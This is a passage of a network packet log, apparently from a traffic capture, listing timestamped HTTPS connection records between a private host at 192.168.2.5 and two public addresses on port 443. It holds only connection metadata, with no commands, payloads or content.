Nov 21, 2024 03:08:24.495693922 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.495716095 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.495728016 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.495743990 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.548886061 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.548909903 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.548954010 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.548971891 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.548986912 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.549015045 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.695879936 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.695904970 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.695981026 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.696011066 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.696053028 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.718658924 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.718678951 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.718852043 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.718858957 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.718962908 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.738137007 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.738157988 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.738306046 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.738312960 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.738399982 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.757574081 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.757596016 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.757663965 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.757669926 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.757725954 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.762430906 CET	49705	443	192.168.2.5	172.202.163.200
Nov 21, 2024 03:08:24.762448072 CET	443	49705	172.202.163.200	192.168.2.5
Nov 21, 2024 03:08:24.762541056 CET	49705	443	192.168.2.5	172.202.163.200
Nov 21, 2024 03:08:24.764281988 CET	49705	443	192.168.2.5	172.202.163.200
Nov 21, 2024 03:08:24.764297962 CET	443	49705	172.202.163.200	192.168.2.5
Nov 21, 2024 03:08:24.894377947 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.894418001 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.894596100 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.894608021 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.894742966 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.908159971 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.908176899 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.908293009 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.908298969 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.908417940 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.924117088 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.924133062 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.924247026 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.924252987 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.924369097 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.940028906 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.940073967 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.940121889 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.940129995 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.940151930 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.940167904 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.953857899 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.953876972 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.954052925 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.954076052 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.954150915 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.956047058 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.956103086 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.956155062 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.956590891 CET	49704	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.956607103 CET	443	49704	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.996433020 CET	49707	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.996452093 CET	49706	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.996495962 CET	443	49707	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.996495962 CET	443	49706	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.996572971 CET	49706	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.996876955 CET	49707	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.996882915 CET	49706	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.996898890 CET	443	49706	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.997006893 CET	49707	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.997023106 CET	443	49707	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.998212099 CET	49708	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.998260021 CET	443	49708	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.998322010 CET	49708	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.998604059 CET	49708	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.998620033 CET	443	49708	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.999630928 CET	49709	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.999671936 CET	443	49709	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:24.999732018 CET	49709	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.999852896 CET	49709	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:24.999866962 CET	443	49709	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:25.000399113 CET	49710	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:25.000410080 CET	443	49710	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:25.000482082 CET	49710	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:25.000572920 CET	49710	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:25.000580072 CET	443	49710	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:26.471879959 CET	443	49705	172.202.163.200	192.168.2.5
Nov 21, 2024 03:08:26.471961021 CET	49705	443	192.168.2.5	172.202.163.200
Nov 21, 2024 03:08:26.474407911 CET	49705	443	192.168.2.5	172.202.163.200
Nov 21, 2024 03:08:26.474417925 CET	443	49705	172.202.163.200	192.168.2.5
Nov 21, 2024 03:08:26.474667072 CET	443	49705	172.202.163.200	192.168.2.5
Nov 21, 2024 03:08:26.520853996 CET	49705	443	192.168.2.5	172.202.163.200
Nov 21, 2024 03:08:26.726027012 CET	443	49709	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:26.726502895 CET	49709	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:26.726546049 CET	443	49709	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:26.727018118 CET	49709	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:26.727025986 CET	443	49709	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:26.775748014 CET	443	49706	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:26.776681900 CET	49706	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:26.776710987 CET	443	49706	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:26.777144909 CET	49706	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:26.777151108 CET	443	49706	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:26.778321028 CET	443	49707	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:26.778646946 CET	49707	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:26.778712034 CET	443	49707	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:26.779180050 CET	49707	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:26.779200077 CET	443	49707	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:26.779802084 CET	443	49708	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:26.783679008 CET	49708	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:26.783704996 CET	443	49708	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:26.784126997 CET	49708	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:26.784133911 CET	443	49708	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:26.789782047 CET	443	49710	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:26.790149927 CET	49710	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:26.790164948 CET	443	49710	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:26.790560007 CET	49710	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:26.790565014 CET	443	49710	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.160927057 CET	443	49709	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.161082029 CET	443	49709	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.161192894 CET	49709	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.161354065 CET	49709	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.161379099 CET	443	49709	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.161392927 CET	49709	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.161400080 CET	443	49709	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.166194916 CET	49713	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.166244984 CET	443	49713	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.166532993 CET	49713	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.166779041 CET	49713	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.166795015 CET	443	49713	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.223733902 CET	443	49707	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.223797083 CET	443	49707	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.224111080 CET	49707	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.224448919 CET	49707	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.224468946 CET	443	49707	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.224478960 CET	49707	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.224483967 CET	443	49707	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.227132082 CET	49714	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.227150917 CET	443	49714	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.227245092 CET	49714	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.227583885 CET	49714	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.227597952 CET	443	49714	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.228724003 CET	443	49706	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.228746891 CET	443	49706	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.228804111 CET	443	49706	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.228825092 CET	49706	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.228857040 CET	49706	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.229027033 CET	49706	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.229043961 CET	443	49706	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.229055882 CET	49706	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.229062080 CET	443	49706	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.231205940 CET	49715	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.231223106 CET	443	49715	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.231410027 CET	49715	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.231530905 CET	49715	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.231544971 CET	443	49715	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.239021063 CET	443	49710	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.239037037 CET	443	49710	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.239103079 CET	49710	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.239130974 CET	443	49710	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.239286900 CET	49710	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.239301920 CET	443	49710	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.239320993 CET	49710	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.239408016 CET	443	49710	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.239435911 CET	443	49710	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.239490032 CET	49710	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.241590977 CET	49716	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.241631031 CET	443	49716	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.241728067 CET	49716	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.241859913 CET	49716	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.241878986 CET	443	49716	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.268738985 CET	443	49708	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.268798113 CET	443	49708	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.268898010 CET	49708	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.268908978 CET	443	49708	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.269083977 CET	49708	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.269133091 CET	49708	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.269139051 CET	443	49708	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.269166946 CET	49708	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.269490957 CET	443	49708	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.269570112 CET	443	49708	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.269624949 CET	49708	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.271565914 CET	49717	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.271600962 CET	443	49717	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:27.271696091 CET	49717	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.271840096 CET	49717	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:27.271847010 CET	443	49717	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:28.043555975 CET	49705	443	192.168.2.5	172.202.163.200
Nov 21, 2024 03:08:28.087352037 CET	443	49705	172.202.163.200	192.168.2.5
Nov 21, 2024 03:08:28.609239101 CET	443	49705	172.202.163.200	192.168.2.5
Nov 21, 2024 03:08:28.609281063 CET	443	49705	172.202.163.200	192.168.2.5
Nov 21, 2024 03:08:28.609291077 CET	443	49705	172.202.163.200	192.168.2.5
Nov 21, 2024 03:08:28.609309912 CET	443	49705	172.202.163.200	192.168.2.5
Nov 21, 2024 03:08:28.609339952 CET	443	49705	172.202.163.200	192.168.2.5
Nov 21, 2024 03:08:28.609349012 CET	49705	443	192.168.2.5	172.202.163.200
Nov 21, 2024 03:08:28.609368086 CET	443	49705	172.202.163.200	192.168.2.5
Nov 21, 2024 03:08:28.609409094 CET	49705	443	192.168.2.5	172.202.163.200
Nov 21, 2024 03:08:28.609425068 CET	49705	443	192.168.2.5	172.202.163.200
Nov 21, 2024 03:08:28.628448963 CET	443	49705	172.202.163.200	192.168.2.5
Nov 21, 2024 03:08:28.628515959 CET	49705	443	192.168.2.5	172.202.163.200
Nov 21, 2024 03:08:28.628525972 CET	443	49705	172.202.163.200	192.168.2.5
Nov 21, 2024 03:08:28.628556013 CET	443	49705	172.202.163.200	192.168.2.5
Nov 21, 2024 03:08:28.628602982 CET	49705	443	192.168.2.5	172.202.163.200
Nov 21, 2024 03:08:28.949316978 CET	443	49713	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:28.949842930 CET	49713	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:28.949875116 CET	443	49713	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:28.950315952 CET	49713	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:28.950324059 CET	443	49713	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.005064964 CET	443	49714	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.005634069 CET	49714	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.005665064 CET	443	49714	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.006113052 CET	49714	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.006119013 CET	443	49714	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.016360044 CET	443	49715	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.016872883 CET	49715	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.016890049 CET	443	49715	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.017329931 CET	49715	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.017335892 CET	443	49715	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.057689905 CET	443	49717	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.058229923 CET	49717	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.058248997 CET	443	49717	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.058756113 CET	49717	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.058760881 CET	443	49717	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.094430923 CET	443	49716	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.095288992 CET	49716	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.095326900 CET	443	49716	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.095755100 CET	49716	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.095762014 CET	443	49716	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.394459009 CET	443	49713	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.394617081 CET	443	49713	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.394834995 CET	49713	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.394877911 CET	49713	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.394903898 CET	443	49713	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.394917965 CET	49713	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.394925117 CET	443	49713	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.398010969 CET	49720	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.398047924 CET	443	49720	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.398124933 CET	49720	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.398410082 CET	49720	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.398427010 CET	443	49720	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.449453115 CET	443	49714	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.449500084 CET	443	49714	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.449569941 CET	49714	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.449759007 CET	49714	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.449778080 CET	443	49714	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.449800968 CET	49714	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.449805975 CET	443	49714	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.452337980 CET	49721	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.452366114 CET	443	49721	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.453164101 CET	49721	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.453267097 CET	49721	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.453280926 CET	443	49721	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.461158991 CET	443	49715	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.461225986 CET	443	49715	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.461436987 CET	49715	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.461483955 CET	49715	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.461503029 CET	443	49715	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.461530924 CET	49715	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.461539030 CET	443	49715	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.463473082 CET	49722	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.463502884 CET	443	49722	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.463594913 CET	49722	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.463706970 CET	49722	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.463718891 CET	443	49722	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.500128031 CET	443	49717	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.500272989 CET	443	49717	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.500910997 CET	49717	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.501036882 CET	49717	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.501060009 CET	443	49717	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.501080036 CET	49717	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.501086950 CET	443	49717	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.503338099 CET	49723	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.503354073 CET	443	49723	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.504129887 CET	49723	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.504364967 CET	49723	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.504376888 CET	443	49723	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.594660044 CET	443	49716	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.594710112 CET	443	49716	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.595017910 CET	49716	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.595127106 CET	49716	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.595143080 CET	443	49716	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.595179081 CET	49716	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.595184088 CET	443	49716	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.597544909 CET	49724	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.597573042 CET	443	49724	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:29.597640038 CET	49724	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.597768068 CET	49724	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:29.597781897 CET	443	49724	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:30.046262026 CET	49705	443	192.168.2.5	172.202.163.200
Nov 21, 2024 03:08:30.046297073 CET	443	49705	172.202.163.200	192.168.2.5
Nov 21, 2024 03:08:30.046310902 CET	49705	443	192.168.2.5	172.202.163.200
Nov 21, 2024 03:08:30.046318054 CET	443	49705	172.202.163.200	192.168.2.5
Nov 21, 2024 03:08:31.114190102 CET	443	49720	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.114795923 CET	49720	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.114813089 CET	443	49720	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.116997004 CET	49720	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.117003918 CET	443	49720	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.227262020 CET	443	49723	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.227777958 CET	49723	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.227786064 CET	443	49723	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.228336096 CET	49723	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.228341103 CET	443	49723	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.231627941 CET	443	49721	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.232060909 CET	49721	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.232074022 CET	443	49721	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.232415915 CET	49721	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.232419968 CET	443	49721	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.246100903 CET	443	49722	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.246419907 CET	49722	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.246433973 CET	443	49722	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.246820927 CET	49722	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.246825933 CET	443	49722	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.313535929 CET	443	49724	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.314704895 CET	49724	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.314759970 CET	443	49724	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.315089941 CET	49724	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.315104961 CET	443	49724	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.548718929 CET	443	49720	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.548810959 CET	443	49720	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.548914909 CET	49720	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.549104929 CET	49720	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.549129009 CET	443	49720	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.549139977 CET	49720	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.549145937 CET	443	49720	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.551867962 CET	49726	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.551947117 CET	443	49726	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.552113056 CET	49726	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.552248955 CET	49726	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.552280903 CET	443	49726	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.661072969 CET	443	49723	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.661248922 CET	443	49723	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.661359072 CET	49723	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.661720037 CET	49723	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.661720037 CET	49723	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:31.661735058 CET	443	49723	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:31.661741972 CET	443	49723	13.107.246.45	192.168.2.5
